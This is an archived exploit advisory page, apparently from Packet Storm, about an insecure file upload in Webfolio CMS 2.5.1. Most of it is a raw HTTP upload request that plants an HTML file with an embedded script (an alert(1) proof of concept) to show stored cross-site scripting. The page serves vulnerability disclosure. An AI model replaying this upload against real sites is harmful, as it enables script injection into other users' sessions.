what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Webfolio CMS 2.5.1 Insecure File Upload

Webfolio CMS 2.5.1 Insecure File Upload
Posted Aug 5, 2015
Authored by Sharankumar Somana

Webfolio CMS version 2.5.1 suffers from an insecure file upload vulnerability.

tags | exploit, file upload
SHA-256 | 89b7b64d987ea801fc593ca99caa022a573667c732c049a833b14739d428551f

Webfolio CMS 2.5.1 Insecure File Upload

Change Mirror Download
# Exploit Title: Insecure File Upload in webfolio2.5.1
# Date:04 august 2015
# Exploit Author: Sharankumar somana
# Vendor Homepage: http://webfolio-cms.sourceforge.net/
# Software Link: http://sourceforge.net/projects/webfolio-cms/?source=typ_redirect
# Version: 2.5.1
# Tested on: Windows 7

_________________________________________________________________________________________________________________________

Insecure File Upload

Webfolio cms is vulnerable for insecure file upload vulnerability.The applictaion checks for the size and content type of the files while uploading, however it fails to check the extention of the uploaded files. A malicious user can successfully upload a valid image file with javascript embedded in it and changing the extention to html. An attacker can take advantage of this issue to perform persistent cross site scripting attacks.

Raw Request:

POST /webfolio/wfcms2/admin/users/edit/1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://localhost/webfolio/wfcms2/admin/users/edit/1
Cookie: PHPSESSID=fp7drdbohoi5v1ni242iuoq303;
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------17740215416001
Content-Length: 123677

-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[username]"

admin
-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[password]"


-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[passwdConfirm]"


-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[email]"

sharan@gmail.com
-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[role]"

10
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[realName]"

sharan
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[aboutText]"

testing 123
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[dateOfBirth]"

1990-08-04
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[picture]"; filename="test.html"
Content-Type: image/jpeg

Valid image file data followed by javascript code
<html>
<script>alert(1)</script>
</html>

-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[picture][current_file_name]"

php1678_55bfc11748cdf.html
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[timeZone]"

UTC
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[website]"


-----------------------------17740215416001
Content-Disposition: form-data; name="_csrf"

af184c6a94f8485fae50c8e5bc320695
-----------------------------17740215416001
Content-Disposition: form-data; name="btnSave"

Save changes
-----------------------------17740215416001--
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close